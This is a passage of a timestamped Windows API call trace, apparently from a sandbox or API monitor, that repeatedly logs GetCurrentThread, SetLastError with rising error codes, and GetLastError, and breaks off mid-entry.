[0291.272] GetCurrentThread () returned 0xfffffffe [0291.272] SetLastError (dwErrCode=0x59) [0291.272] GetLastError () returned 0x59 [0291.272] GetCurrentThread () returned 0xfffffffe [0291.272] SetLastError (dwErrCode=0x5d) [0291.272] GetLastError () returned 0x5d [0291.272] GetCurrentThread () returned 0xfffffffe [0291.272] SetLastError (dwErrCode=0x61) [0291.272] GetLastError () returned 0x61 [0291.272] GetCurrentThread () returned 0xfffffffe [0291.272] SetLastError (dwErrCode=0x65) [0291.272] GetLastError () returned 0x65 [0291.272] GetCurrentThread () returned 0xfffffffe [0291.272] SetLastError (dwErrCode=0x69) [0291.272] GetLastError () returned 0x69 [0291.272] GetCurrentThread () returned 0xfffffffe [0291.272] SetLastError (dwErrCode=0x6d) [0291.272] GetLastError () returned 0x6d [0291.273] GetCurrentThread () returned 0xfffffffe [0291.273] SetLastError (dwErrCode=0x71) [0291.273] GetLastError () returned 0x71 [0291.273] GetCurrentThread () returned 0xfffffffe [0291.273] SetLastError (dwErrCode=0x75) [0291.273] GetLastError () returned 0x75 [0291.273] GetCurrentThread () returned 0xfffffffe [0291.273] SetLastError (dwErrCode=0x79) [0291.273] GetLastError () returned 0x79 [0291.273] GetCurrentThread () returned 0xfffffffe [0291.273] SetLastError (dwErrCode=0x7d) [0291.273] GetLastError () returned 0x7d [0291.273] GetCurrentThread () returned 0xfffffffe [0291.273] SetLastError (dwErrCode=0x81) [0291.273] GetLastError () returned 0x81 [0291.273] GetCurrentThread () returned 0xfffffffe [0291.273] SetLastError (dwErrCode=0x85) [0291.273] GetLastError () returned 0x85 [0291.273] GetCurrentThread () returned 0xfffffffe [0291.273] SetLastError (dwErrCode=0x89) [0291.273] GetLastError () returned 0x89 [0291.273] GetCurrentThread () returned 0xfffffffe [0291.273] SetLastError (dwErrCode=0x8d) [0291.273] GetLastError () returned 0x8d [0291.273] GetCurrentThread () returned 0xfffffffe [0291.273] SetLastError (dwErrCode=0x91) [0291.273] GetLastError () returned 0x91 [0291.273] GetCurrentThread () returned 0xfffffffe [0291.273] SetLastError (dwErrCode=0x95) [0291.273] GetLastError () returned 0x95 [0291.273] GetCurrentThread () returned 0xfffffffe [0291.273] SetLastError (dwErrCode=0x99) [0291.273] GetLastError () returned 0x99 [0291.273] GetCurrentThread () returned 0xfffffffe [0291.273] SetLastError (dwErrCode=0x9d) [0291.274] GetLastError () returned 0x9d [0291.274] GetCurrentThread () returned 0xfffffffe [0291.274] SetLastError (dwErrCode=0xa1) [0291.274] GetLastError () returned 0xa1 [0291.274] GetCurrentThread () returned 0xfffffffe [0291.274] SetLastError (dwErrCode=0xa5) [0291.274] GetLastError () returned 0xa5 [0291.274] GetCurrentThread () returned 0xfffffffe [0291.274] SetLastError (dwErrCode=0xa9) [0291.274] GetLastError () returned 0xa9 [0291.274] GetCurrentThread () returned 0xfffffffe [0291.274] SetLastError (dwErrCode=0xad) [0291.274] GetLastError () returned 0xad [0291.274] GetCurrentThread () returned 0xfffffffe [0291.274] SetLastError (dwErrCode=0xb1) [0291.274] GetLastError () returned 0xb1 [0291.274] GetCurrentThread () returned 0xfffffffe [0291.274] SetLastError (dwErrCode=0xb5) [0291.274] GetLastError () returned 0xb5 [0291.274] GetCurrentThread () returned 0xfffffffe [0291.274] SetLastError (dwErrCode=0xb9) [0291.274] GetLastError () returned 0xb9 [0291.274] GetCurrentThread () returned 0xfffffffe [0291.274] SetLastError (dwErrCode=0xbd) [0291.274] GetLastError () returned 0xbd [0291.274] GetCurrentThread () returned 0xfffffffe [0291.274] SetLastError (dwErrCode=0xc1) [0291.274] GetLastError () returned 0xc1 [0291.274] GetCurrentThread () returned 0xfffffffe [0291.274] SetLastError (dwErrCode=0xc5) [0291.274] GetLastError () returned 0xc5 [0291.274] GetCurrentThread () returned 0xfffffffe [0291.274] SetLastError (dwErrCode=0xc9) [0291.274] GetLastError () returned 0xc9 [0291.275] GetCurrentThread () returned 0xfffffffe [0291.275] SetLastError (dwErrCode=0xcd) [0291.275] GetLastError () returned 0xcd [0291.275] GetCurrentThread () returned 0xfffffffe [0291.275] SetLastError (dwErrCode=0xd1) [0291.275] GetLastError () returned 0xd1 [0291.275] GetCurrentThread () returned 0xfffffffe [0291.275] SetLastError (dwErrCode=0xd5) [0291.275] GetLastError () returned 0xd5 [0291.275] GetCurrentThread () returned 0xfffffffe [0291.275] SetLastError (dwErrCode=0xd9) [0291.275] GetLastError () returned 0xd9 [0291.275] GetCurrentThread () returned 0xfffffffe [0291.275] SetLastError (dwErrCode=0xdd) [0291.275] GetLastError () returned 0xdd [0291.275] GetCurrentThread () returned 0xfffffffe [0291.275] SetLastError (dwErrCode=0xe1) [0291.275] GetLastError () returned 0xe1 [0291.275] GetCurrentThread () returned 0xfffffffe [0291.275] SetLastError (dwErrCode=0xe5) [0291.275] GetLastError () returned 0xe5 [0291.275] GetCurrentThread () returned 0xfffffffe [0291.275] SetLastError (dwErrCode=0xe9) [0291.275] GetLastError () returned 0xe9 [0291.275] GetCurrentThread () returned 0xfffffffe [0291.275] SetLastError (dwErrCode=0xed) [0291.275] GetLastError () returned 0xed [0291.275] GetCurrentThread () returned 0xfffffffe [0291.275] SetLastError (dwErrCode=0xf1) [0291.275] GetLastError () returned 0xf1 [0291.275] GetCurrentThread () returned 0xfffffffe [0291.275] SetLastError (dwErrCode=0xf5) [0291.275] GetLastError () returned 0xf5 [0291.275] GetCurrentThread () returned 0xfffffffe [0291.275] SetLastError (dwErrCode=0xf9) [0291.276] GetLastError () returned 0xf9 [0291.276] GetCurrentThread () returned 0xfffffffe [0291.276] SetLastError (dwErrCode=0xfd) [0291.276] GetLastError () returned 0xfd [0291.276] GetCurrentThread () returned 0xfffffffe [0291.276] SetLastError (dwErrCode=0x101) [0291.276] GetLastError () returned 0x101 [0291.276] GetCurrentThread () returned 0xfffffffe [0291.276] SetLastError (dwErrCode=0x105) [0291.276] GetLastError () returned 0x105 [0291.276] GetCurrentThread () returned 0xfffffffe [0291.276] SetLastError (dwErrCode=0x109) [0291.276] GetLastError () returned 0x109 [0291.276] GetCurrentThread () returned 0xfffffffe [0291.276] SetLastError (dwErrCode=0x10d) [0291.276] GetLastError () returned 0x10d [0291.276] GetCurrentThread () returned 0xfffffffe [0291.276] SetLastError (dwErrCode=0x111) [0291.276] GetLastError () returned 0x111 [0291.276] GetCurrentThread () returned 0xfffffffe [0291.276] SetLastError (dwErrCode=0x115) [0291.276] GetLastError () returned 0x115 [0291.276] GetCurrentThread () returned 0xfffffffe [0291.276] SetLastError (dwErrCode=0x119) [0291.276] GetLastError () returned 0x119 [0291.276] GetCurrentThread () returned 0xfffffffe [0291.276] SetLastError (dwErrCode=0x11d) [0291.276] GetLastError () returned 0x11d [0291.276] GetCurrentThread () returned 0xfffffffe [0291.276] SetLastError (dwErrCode=0x121) [0291.276] GetLastError () returned 0x121 [0291.276] GetCurrentThread () returned 0xfffffffe [0291.276] SetLastError (dwErrCode=0x125) [0291.276] GetLastError () returned 0x125 [0291.276] GetCurrentThread () returned 0xfffffffe [0291.276] SetLastError (dwErrCode=0x129) [0291.277] GetLastError () returned 0x129 [0291.277] GetCurrentThread () returned 0xfffffffe [0291.277] SetLastError (dwErrCode=0x12d) [0291.277] GetLastError () returned 0x12d [0291.277] GetCurrentThread () returned 0xfffffffe [0291.277] SetLastError (dwErrCode=0x131) [0291.277] GetLastError () returned 0x131 [0291.277] GetCurrentThread () returned 0xfffffffe [0291.277] SetLastError (dwErrCode=0x135) [0291.277] GetLastError () returned 0x135 [0291.277] GetCurrentThread () returned 0xfffffffe [0291.277] SetLastError (dwErrCode=0x139) [0291.277] GetLastError () returned 0x139 [0291.277] GetCurrentThread () returned 0xfffffffe [0291.277] SetLastError (dwErrCode=0x13d) [0291.277] GetLastError () returned 0x13d [0291.277] GetCurrentThread () returned 0xfffffffe [0291.277] SetLastError (dwErrCode=0x141) [0291.277] GetLastError () returned 0x141 [0291.277] GetCurrentThread () returned 0xfffffffe [0291.277] SetLastError (dwErrCode=0x145) [0291.277] GetLastError () returned 0x145 [0291.277] GetCurrentThread () returned 0xfffffffe [0291.277] SetLastError (dwErrCode=0x149) [0291.277] GetLastError () returned 0x149 [0291.277] GetCurrentThread () returned 0xfffffffe [0291.277] SetLastError (dwErrCode=0x14d) [0291.277] GetLastError () returned 0x14d [0291.277] GetCurrentThread () returned 0xfffffffe [0291.277] SetLastError (dwErrCode=0x151) [0291.277] GetLastError () returned 0x151 [0291.277] GetCurrentThread () returned 0xfffffffe [0291.277] SetLastError (dwErrCode=0x155) [0291.277] GetLastError () returned 0x155 [0291.277] GetCurrentThread () returned 0xfffffffe [0291.278] SetLastError (dwErrCode=0x159) [0291.278] GetLastError () returned 0x159 [0291.278] GetCurrentThread () returned 0xfffffffe [0291.278] SetLastError (dwErrCode=0x15d) [0291.278] GetLastError () returned 0x15d [0291.278] GetCurrentThread () returned 0xfffffffe [0291.278] SetLastError (dwErrCode=0x161) [0291.278] GetLastError () returned 0x161 [0291.278] GetCurrentThread () returned 0xfffffffe [0291.278] SetLastError (dwErrCode=0x165) [0291.278] GetLastError () returned 0x165 [0291.278] GetCurrentThread () returned 0xfffffffe [0291.278] SetLastError (dwErrCode=0x169) [0291.278] GetLastError () returned 0x169 [0291.278] GetCurrentThread () returned 0xfffffffe [0291.278] SetLastError (dwErrCode=0x16d) [0291.278] GetLastError () returned 0x16d [0291.278] GetCurrentThread () returned 0xfffffffe [0291.278] SetLastError (dwErrCode=0x171) [0291.278] GetLastError () returned 0x171 [0291.278] GetCurrentThread () returned 0xfffffffe [0291.278] SetLastError (dwErrCode=0x175) [0291.278] GetLastError () returned 0x175 [0291.278] GetCurrentThread () returned 0xfffffffe [0291.278] SetLastError (dwErrCode=0x179) [0291.278] GetLastError () returned 0x179 [0291.278] GetCurrentThread () returned 0xfffffffe [0291.278] SetLastError (dwErrCode=0x17d) [0291.278] GetLastError () returned 0x17d [0291.278] GetCurrentThread () returned 0xfffffffe [0291.278] SetLastError (dwErrCode=0x181) [0291.278] GetLastError () returned 0x181 [0291.278] GetCurrentThread () returned 0xfffffffe [0291.278] SetLastError (dwErrCode=0x185) [0291.278] GetLastError () returned 0x185 [0291.279] GetCurrentThread () returned 0xfffffffe [0291.279] SetLastError (dwErrCode=0x189) [0291.279] GetLastError () returned 0x189 [0291.279] GetCurrentThread () returned 0xfffffffe [0291.279] SetLastError (dwErrCode=0x18d) [0291.279] GetLastError () returned 0x18d [0291.279] GetCurrentThread () returned 0xfffffffe [0291.279] SetLastError (dwErrCode=0x191) [0291.279] GetLastError () returned 0x191 [0291.279] GetCurrentThread () returned 0xfffffffe [0291.279] SetLastError (dwErrCode=0x195) [0291.279] GetLastError () returned 0x195 [0291.279] GetCurrentThread () returned 0xfffffffe [0291.279] SetLastError (dwErrCode=0x199) [0291.279] GetLastError () returned 0x199 [0291.279] GetCurrentThread () returned 0xfffffffe [0291.279] SetLastError (dwErrCode=0x19d) [0291.279] GetLastError () returned 0x19d [0291.279] GetCurrentThread () returned 0xfffffffe [0291.279] SetLastError (dwErrCode=0x1a1) [0291.279] GetLastError () returned 0x1a1 [0291.279] GetCurrentThread () returned 0xfffffffe [0291.279] SetLastError (dwErrCode=0x1a5) [0291.279] GetLastError () returned 0x1a5 [0291.279] GetCurrentThread () returned 0xfffffffe [0291.279] SetLastError (dwErrCode=0x1a9) [0291.279] GetLastError () returned 0x1a9 [0291.279] GetCurrentThread () returned 0xfffffffe [0291.279] SetLastError (dwErrCode=0x1ad) [0291.279] GetLastError () returned 0x1ad [0291.279] GetCurrentThread () returned 0xfffffffe [0291.279] SetLastError (dwErrCode=0x1b1) [0291.279] GetLastError () returned 0x1b1 [0291.279] GetCurrentThread () returned 0xfffffffe [0291.279] SetLastError (dwErrCode=0x1b5) [0291.280] GetLastError () returned 0x1b5 [0291.280] GetCurrentThread () returned 0xfffffffe [0291.280] SetLastError (dwErrCode=0x1b9) [0291.280] GetLastError () returned 0x1b9 [0291.280] GetCurrentThread () returned 0xfffffffe [0291.280] SetLastError (dwErrCode=0x1bd) [0291.280] GetLastError () returned 0x1bd [0291.280] GetCurrentThread () returned 0xfffffffe [0291.280] SetLastError (dwErrCode=0x1c1) [0291.280] GetLastError () returned 0x1c1 [0291.280] GetCurrentThread () returned 0xfffffffe [0291.280] SetLastError (dwErrCode=0x1c5) [0291.280] GetLastError () returned 0x1c5 [0291.280] GetCurrentThread () returned 0xfffffffe [0291.280] SetLastError (dwErrCode=0x1c9) [0291.280] GetLastError () returned 0x1c9 [0291.280] GetCurrentThread () returned 0xfffffffe [0291.280] SetLastError (dwErrCode=0x1cd) [0291.280] GetLastError () returned 0x1cd [0291.280] GetCurrentThread () returned 0xfffffffe [0291.280] SetLastError (dwErrCode=0x1d1) [0291.280] GetLastError () returned 0x1d1 [0291.280] GetCurrentThread () returned 0xfffffffe [0291.280] SetLastError (dwErrCode=0x1d5) [0291.280] GetLastError () returned 0x1d5 [0291.280] GetCurrentThread () returned 0xfffffffe [0291.280] SetLastError (dwErrCode=0x1d9) [0291.280] GetLastError () returned 0x1d9 [0291.280] GetCurrentThread () returned 0xfffffffe [0291.280] SetLastError (dwErrCode=0x1dd) [0291.280] GetLastError () returned 0x1dd [0291.280] GetCurrentThread () returned 0xfffffffe [0291.280] SetLastError (dwErrCode=0x1e1) [0291.280] GetLastError () returned 0x1e1 [0291.281] GetCurrentThread () returned 0xfffffffe [0291.281] SetLastError (dwErrCode=0x1e5) [0291.281] GetLastError () returned 0x1e5 [0291.281] GetCurrentThread () returned 0xfffffffe [0291.281] SetLastError (dwErrCode=0x1e9) [0291.281] GetLastError () returned 0x1e9 [0291.281] GetCurrentThread () returned 0xfffffffe [0291.281] SetLastError (dwErrCode=0x1ed) [0291.281] GetLastError () returned 0x1ed [0291.281] GetCurrentThread () returned 0xfffffffe [0291.281] SetLastError (dwErrCode=0x1f1) [0291.281] GetLastError () returned 0x1f1 [0291.281] GetCurrentThread () returned 0xfffffffe [0291.281] SetLastError (dwErrCode=0x1f5) [0291.281] GetLastError () returned 0x1f5 [0291.281] GetCurrentThread () returned 0xfffffffe [0291.281] SetLastError (dwErrCode=0x1f9) [0291.281] GetLastError () returned 0x1f9 [0291.281] GetCurrentThread () returned 0xfffffffe [0291.281] SetLastError (dwErrCode=0x1fd) [0291.281] GetLastError () returned 0x1fd [0291.281] GetCurrentThread () returned 0xfffffffe [0291.281] SetLastError (dwErrCode=0x201) [0291.281] GetLastError () returned 0x201 [0291.281] GetCurrentThread () returned 0xfffffffe [0291.281] SetLastError (dwErrCode=0x205) [0291.281] GetLastError () returned 0x205 [0291.281] GetCurrentThread () returned 0xfffffffe [0291.281] SetLastError (dwErrCode=0x209) [0291.281] GetLastError () returned 0x209 [0291.281] GetCurrentThread () returned 0xfffffffe [0291.281] SetLastError (dwErrCode=0x20d) [0291.281] GetLastError () returned 0x20d [0291.281] GetCurrentThread () returned 0xfffffffe [0291.281] SetLastError (dwErrCode=0x211) [0291.282] GetLastError () returned 0x211 [0291.282] GetCurrentThread () returned 0xfffffffe [0291.282] SetLastError (dwErrCode=0x215) [0291.282] GetLastError () returned 0x215 [0291.282] GetCurrentThread () returned 0xfffffffe [0291.282] SetLastError (dwErrCode=0x219) [0291.282] GetLastError () returned 0x219 [0291.282] GetCurrentThread () returned 0xfffffffe [0291.282] SetLastError (dwErrCode=0x21d) [0291.282] GetLastError () returned 0x21d [0291.282] GetCurrentThread () returned 0xfffffffe [0291.282] SetLastError (dwErrCode=0x221) [0291.282] GetLastError () returned 0x221 [0291.282] GetCurrentThread () returned 0xfffffffe [0291.282] SetLastError (dwErrCode=0x225) [0291.282] GetLastError () returned 0x225 [0291.282] GetCurrentThread () returned 0xfffffffe [0291.282] SetLastError (dwErrCode=0x229) [0291.282] GetLastError () returned 0x229 [0291.282] GetCurrentThread () returned 0xfffffffe [0291.282] SetLastError (dwErrCode=0x22d) [0291.282] GetLastError () returned 0x22d [0291.282] GetCurrentThread () returned 0xfffffffe [0291.282] SetLastError (dwErrCode=0x231) [0291.282] GetLastError () returned 0x231 [0291.282] GetCurrentThread () returned 0xfffffffe [0291.282] SetLastError (dwErrCode=0x235) [0291.282] GetLastError () returned 0x235 [0291.282] GetCurrentThread () returned 0xfffffffe [0291.282] SetLastError (dwErrCode=0x239) [0291.282] GetLastError () returned 0x239 [0291.282] GetCurrentThread () returned 0xfffffffe [0291.282] SetLastError (dwErrCode=0x23d) [0291.282] GetLastError () returned 0x23d [0291.282] GetCurrentThread () returned 0xfffffffe [0291.283] SetLastError (dwErrCode=0x241) [0291.283] GetLastError () returned 0x241 [0291.283] GetCurrentThread () returned 0xfffffffe [0291.283] SetLastError (dwErrCode=0x245) [0291.283] GetLastError () returned 0x245 [0291.283] GetCurrentThread () returned 0xfffffffe [0291.283] SetLastError (dwErrCode=0x249) [0291.283] GetLastError () returned 0x249 [0291.283] GetCurrentThread () returned 0xfffffffe [0291.283] SetLastError (dwErrCode=0x24d) [0291.283] GetLastError () returned 0x24d [0291.283] GetCurrentThread () returned 0xfffffffe [0291.283] SetLastError (dwErrCode=0x251) [0291.283] GetLastError () returned 0x251 [0291.283] GetCurrentThread () returned 0xfffffffe [0291.283] SetLastError (dwErrCode=0x255) [0291.283] GetLastError () returned 0x255 [0291.283] GetCurrentThread () returned 0xfffffffe [0291.283] SetLastError (dwErrCode=0x259) [0291.283] GetLastError () returned 0x259 [0291.283] GetCurrentThread () returned 0xfffffffe [0291.283] SetLastError (dwErrCode=0x25d) [0291.283] GetLastError () returned 0x25d [0291.283] GetCurrentThread () returned 0xfffffffe [0291.283] SetLastError (dwErrCode=0x261) [0291.283] GetLastError () returned 0x261 [0291.283] GetCurrentThread () returned 0xfffffffe [0291.283] SetLastError (dwErrCode=0x265) [0291.283] GetLastError () returned 0x265 [0291.283] GetCurrentThread () returned 0xfffffffe [0291.283] SetLastError (dwErrCode=0x269) [0291.283] GetLastError () returned 0x269 [0291.283] GetCurrentThread () returned 0xfffffffe [0291.283] SetLastError (dwErrCode=0x26d) [0291.284] GetLastError () returned 0x26d [0291.284] GetCurrentThread () returned 0xfffffffe [0291.284] SetLastError (dwErrCode=0x271) [0291.284] GetLastError () returned 0x271 [0291.284] GetCurrentThread () returned 0xfffffffe [0291.284] SetLastError (dwErrCode=0x275) [0291.284] GetLastError () returned 0x275 [0291.284] GetCurrentThread () returned 0xfffffffe [0291.284] SetLastError (dwErrCode=0x279) [0291.284] GetLastError () returned 0x279 [0291.284] GetCurrentThread () returned 0xfffffffe [0291.284] SetLastError (dwErrCode=0x27d) [0291.284] GetLastError () returned 0x27d [0291.284] GetCurrentThread () returned 0xfffffffe [0291.284] SetLastError (dwErrCode=0x281) [0291.284] GetLastError () returned 0x281 [0291.284] GetCurrentThread () returned 0xfffffffe [0291.284] SetLastError (dwErrCode=0x285) [0291.284] GetLastError () returned 0x285 [0291.284] GetCurrentThread () returned 0xfffffffe [0291.284] SetLastError (dwErrCode=0x289) [0291.284] GetLastError () returned 0x289 [0291.284] GetCurrentThread () returned 0xfffffffe [0291.284] SetLastError (dwErrCode=0x28d) [0291.284] GetLastError () returned 0x28d [0291.284] GetCurrentThread () returned 0xfffffffe [0291.284] SetLastError (dwErrCode=0x291) [0291.284] GetLastError () returned 0x291 [0291.284] GetCurrentThread () returned 0xfffffffe [0291.284] SetLastError (dwErrCode=0x295) [0291.284] GetLastError () returned 0x295 [0291.284] GetCurrentThread () returned 0xfffffffe [0291.285] SetLastError (dwErrCode=0x299) [0291.285] GetLastError () returned 0x299 [0291.285] GetCurrentThread () returned 0xfffffffe [0291.285] SetLastError (dwErrCode=0x29d) [0291.285] GetLastError () returned 0x29d [0291.285] GetCurrentThread () returned 0xfffffffe [0291.285] SetLastError (dwErrCode=0x2a1) [0291.285] GetLastError () returned 0x2a1 [0291.285] GetCurrentThread () returned 0xfffffffe [0291.285] SetLastError (dwErrCode=0x2a5) [0291.285] GetLastError () returned 0x2a5 [0291.285] GetCurrentThread () returned 0xfffffffe [0291.285] SetLastError (dwErrCode=0x2a9) [0291.285] GetLastError () returned 0x2a9 [0291.285] GetCurrentThread () returned 0xfffffffe [0291.285] SetLastError (dwErrCode=0x2ad) [0291.285] GetLastError () returned 0x2ad [0291.285] GetCurrentThread () returned 0xfffffffe [0291.285] SetLastError (dwErrCode=0x2b1) [0291.285] GetLastError () returned 0x2b1 [0291.285] GetCurrentThread () returned 0xfffffffe [0291.285] SetLastError (dwErrCode=0x2b5) [0291.285] GetLastError () returned 0x2b5 [0291.285] GetCurrentThread () returned 0xfffffffe [0291.285] SetLastError (dwErrCode=0x2b9) [0291.285] GetLastError () returned 0x2b9 [0291.285] GetCurrentThread () returned 0xfffffffe [0291.285] SetLastError (dwErrCode=0x2bd) [0291.285] GetLastError () returned 0x2bd [0291.285] GetCurrentThread () returned 0xfffffffe [0291.285] SetLastError (dwErrCode=0x2c1) [0291.285] GetLastError () returned 0x2c1 [0291.285] GetCurrentThread () returned 0xfffffffe [0291.285] SetLastError (dwErrCode=0x2c5) [0291.286] GetLastError () returned 0x2c5 [0291.286] GetCurrentThread () returned 0xfffffffe [0291.286] SetLastError (dwErrCode=0x2c9) [0291.286] GetLastError () returned 0x2c9 [0291.286] GetCurrentThread () returned 0xfffffffe [0291.286] SetLastError (dwErrCode=0x2cd) [0291.286] GetLastError () returned 0x2cd [0291.286] GetCurrentThread () returned 0xfffffffe [0291.286] SetLastError (dwErrCode=0x2d1) [0291.286] GetLastError () returned 0x2d1 [0291.286] GetCurrentThread () returned 0xfffffffe [0291.286] SetLastError (dwErrCode=0x2d5) [0291.286] GetLastError () returned 0x2d5 [0291.286] GetCurrentThread () returned 0xfffffffe [0291.286] SetLastError (dwErrCode=0x2d9) [0291.286] GetLastError () returned 0x2d9 [0291.334] GetCurrentThread () returned 0xfffffffe [0291.334] SetLastError (dwErrCode=0x2dd) [0291.334] GetLastError () returned 0x2dd [0291.334] GetCurrentThread () returned 0xfffffffe [0291.334] SetLastError (dwErrCode=0x2e1) [0291.334] GetLastError () returned 0x2e1 [0291.334] GetCurrentThread () returned 0xfffffffe [0291.334] SetLastError (dwErrCode=0x2e5) [0291.334] GetLastError () returned 0x2e5 [0291.334] GetCurrentThread () returned 0xfffffffe [0291.334] SetLastError (dwErrCode=0x2e9) [0291.334] GetLastError () returned 0x2e9 [0291.334] GetCurrentThread () returned 0xfffffffe [0291.334] SetLastError (dwErrCode=0x2ed) [0291.334] GetLastError () returned 0x2ed [0291.334] GetCurrentThread () returned 0xfffffffe [0291.334] SetLastError (dwErrCode=0x2f1) [0291.334] GetLastError () returned 0x2f1 [0291.334] GetCurrentThread () returned 0xfffffffe [0291.334] SetLastError (dwErrCode=0x2f5) [0291.334] GetLastError () returned 0x2f5 [0291.334] GetCurrentThread () returned 0xfffffffe [0291.334] SetLastError (dwErrCode=0x2f9) [0291.334] GetLastError () returned 0x2f9 [0291.334] GetCurrentThread () returned 0xfffffffe [0291.334] SetLastError (dwErrCode=0x2fd) [0291.335] GetLastError () returned 0x2fd [0291.335] GetCurrentThread () returned 0xfffffffe [0291.335] SetLastError (dwErrCode=0x301) [0291.335] GetLastError () returned 0x301 [0291.335] GetCurrentThread () returned 0xfffffffe [0291.335] SetLastError (dwErrCode=0x305) [0291.335] GetLastError () returned 0x305 [0291.335] GetCurrentThread () returned 0xfffffffe [0291.335] SetLastError (dwErrCode=0x309) [0291.335] GetLastError () returned 0x309 [0291.335] GetCurrentThread () returned 0xfffffffe [0291.335] SetLastError (dwErrCode=0x30d) [0291.335] GetLastError () returned 0x30d [0291.335] GetCurrentThread () returned 0xfffffffe [0291.335] SetLastError (dwErrCode=0x311) [0291.335] GetLastError () returned 0x311 [0291.335] GetCurrentThread () returned 0xfffffffe [0291.335] SetLastError (dwErrCode=0x315) [0291.335] GetLastError () returned 0x315 [0291.335] GetCurrentThread () returned 0xfffffffe [0291.335] SetLastError (dwErrCode=0x319) [0291.335] GetLastError () returned 0x319 [0291.335] GetCurrentThread () returned 0xfffffffe [0291.335] SetLastError (dwErrCode=0x31d) [0291.335] GetLastError () returned 0x31d [0291.335] GetCurrentThread () returned 0xfffffffe [0291.335] SetLastError (dwErrCode=0x321) [0291.335] GetLastError () returned 0x321 [0291.335] GetCurrentThread () returned 0xfffffffe [0291.336] SetLastError (dwErrCode=0x325) [0291.336] GetLastError () returned 0x325 [0291.336] GetCurrentThread () returned 0xfffffffe [0291.336] SetLastError (dwErrCode=0x329) [0291.336] GetLastError () returned 0x329 [0291.336] GetCurrentThread () returned 0xfffffffe [0291.336] SetLastError (dwErrCode=0x32d) [0291.336] GetLastError () returned 0x32d [0291.336] GetCurrentThread () returned 0xfffffffe [0291.336] SetLastError (dwErrCode=0x331) [0291.336] GetLastError () returned 0x331 [0291.336] GetCurrentThread () returned 0xfffffffe [0291.336] SetLastError (dwErrCode=0x335) [0291.336] GetLastError () returned 0x335 [0291.336] GetCurrentThread () returned 0xfffffffe [0291.336] SetLastError (dwErrCode=0x339) [0291.336] GetLastError () returned 0x339 [0291.336] GetCurrentThread () returned 0xfffffffe [0291.336] SetLastError (dwErrCode=0x33d) [0291.336] GetLastError () returned 0x33d [0291.336] GetCurrentThread () returned 0xfffffffe [0291.336] SetLastError (dwErrCode=0x341) [0291.336] GetLastError () returned 0x341 [0291.336] GetCurrentThread () returned 0xfffffffe [0291.336] SetLastError (dwErrCode=0x345) [0291.336] GetLastError () returned 0x345 [0291.336] GetCurrentThread () returned 0xfffffffe [0291.336] SetLastError (dwErrCode=0x349) [0291.336] GetLastError () returned 0x349 [0291.336] GetCurrentThread () returned 0xfffffffe [0291.336] SetLastError (dwErrCode=0x34d) [0291.336] GetLastError () returned 0x34d [0291.337] GetCurrentThread () returned 0xfffffffe [0291.337] SetLastError (dwErrCode=0x351) [0291.337] GetLastError () returned 0x351 [0291.337] GetCurrentThread () returned 0xfffffffe [0291.337] SetLastError (dwErrCode=0x355) [0291.337] GetLastError () returned 0x355 [0291.337] GetCurrentThread () returned 0xfffffffe [0291.337] SetLastError (dwErrCode=0x359) [0291.337] GetLastError () returned 0x359 [0291.337] GetCurrentThread () returned 0xfffffffe [0291.337] SetLastError (dwErrCode=0x35d) [0291.337] GetLastError () returned 0x35d [0291.337] GetCurrentThread () returned 0xfffffffe [0291.337] SetLastError (dwErrCode=0x361) [0291.337] GetLastError () returned 0x361 [0291.337] GetCurrentThread () returned 0xfffffffe [0291.337] SetLastError (dwErrCode=0x365) [0291.337] GetLastError () returned 0x365 [0291.337] GetCurrentThread () returned 0xfffffffe [0291.337] SetLastError (dwErrCode=0x369) [0291.337] GetLastError () returned 0x369 [0291.337] GetCurrentThread () returned 0xfffffffe [0291.337] SetLastError (dwErrCode=0x36d) [0291.337] GetLastError () returned 0x36d [0291.337] GetCurrentThread () returned 0xfffffffe [0291.337] SetLastError (dwErrCode=0x371) [0291.337] GetLastError () returned 0x371 [0291.337] GetCurrentThread () returned 0xfffffffe [0291.337] SetLastError (dwErrCode=0x375) [0291.337] GetLastError () returned 0x375 [0291.337] GetCurrentThread () returned 0xfffffffe [0291.338] SetLastError (dwErrCode=0x379) [0291.338] GetLastError () returned 0x379 [0291.338] GetCurrentThread () returned 0xfffffffe [0291.338] SetLastError (dwErrCode=0x37d) [0291.338] GetLastError () returned 0x37d [0291.338] GetCurrentThread () returned 0xfffffffe [0291.338] SetLastError (dwErrCode=0x381) [0291.338] GetLastError () returned 0x381 [0291.338] GetCurrentThread () returned 0xfffffffe [0291.338] SetLastError (dwErrCode=0x385) [0291.338] GetLastError () returned 0x385 [0291.338] GetCurrentThread () returned 0xfffffffe [0291.338] SetLastError (dwErrCode=0x389) [0291.338] GetLastError () returned 0x389 [0291.338] GetCurrentThread () returned 0xfffffffe [0291.338] SetLastError (dwErrCode=0x38d) [0291.338] GetLastError () returned 0x38d [0291.338] GetCurrentThread () returned 0xfffffffe [0291.338] SetLastError (dwErrCode=0x391) [0291.338] GetLastError () returned 0x391 [0291.338] GetCurrentThread () returned 0xfffffffe [0291.338] SetLastError (dwErrCode=0x395) [0291.338] GetLastError () returned 0x395 [0291.338] GetCurrentThread () returned 0xfffffffe [0291.338] SetLastError (dwErrCode=0x399) [0291.338] GetLastError () returned 0x399 [0291.338] GetCurrentThread () returned 0xfffffffe [0291.338] SetLastError (dwErrCode=0x39d) [0291.338] GetLastError () returned 0x39d [0291.339] GetCurrentThread () returned 0xfffffffe [0291.339] SetLastError (dwErrCode=0x3a1) [0291.339] GetLastError () returned 0x3a1 [0291.339] GetCurrentThread () returned 0xfffffffe [0291.339] SetLastError (dwErrCode=0x3a5) [0291.339] GetLastError () returned 0x3a5 [0291.339] GetCurrentThread () returned 0xfffffffe [0291.339] SetLastError (dwErrCode=0x3a9) [0291.339] GetLastError () returned 0x3a9 [0291.339] GetCurrentThread () returned 0xfffffffe [0291.339] SetLastError (dwErrCode=0x3ad) [0291.339] GetLastError () returned 0x3ad [0291.339] GetCurrentThread () returned 0xfffffffe [0291.339] SetLastError (dwErrCode=0x3b1) [0291.339] GetLastError () returned 0x3b1 [0291.339] GetCurrentThread () returned 0xfffffffe [0291.339] SetLastError (dwErrCode=0x3b5) [0291.339] GetLastError () returned 0x3b5 [0291.339] GetCurrentThread () returned 0xfffffffe [0291.339] SetLastError (dwErrCode=0x3b9) [0291.339] GetLastError () returned 0x3b9 [0291.339] GetCurrentThread () returned 0xfffffffe [0291.339] SetLastError (dwErrCode=0x3bd) [0291.339] GetLastError () returned 0x3bd [0291.339] GetCurrentThread () returned 0xfffffffe [0291.339] SetLastError (dwErrCode=0x3c1) [0291.339] GetLastError () returned 0x3c1 [0291.339] GetCurrentThread () returned 0xfffffffe [0291.339] SetLastError 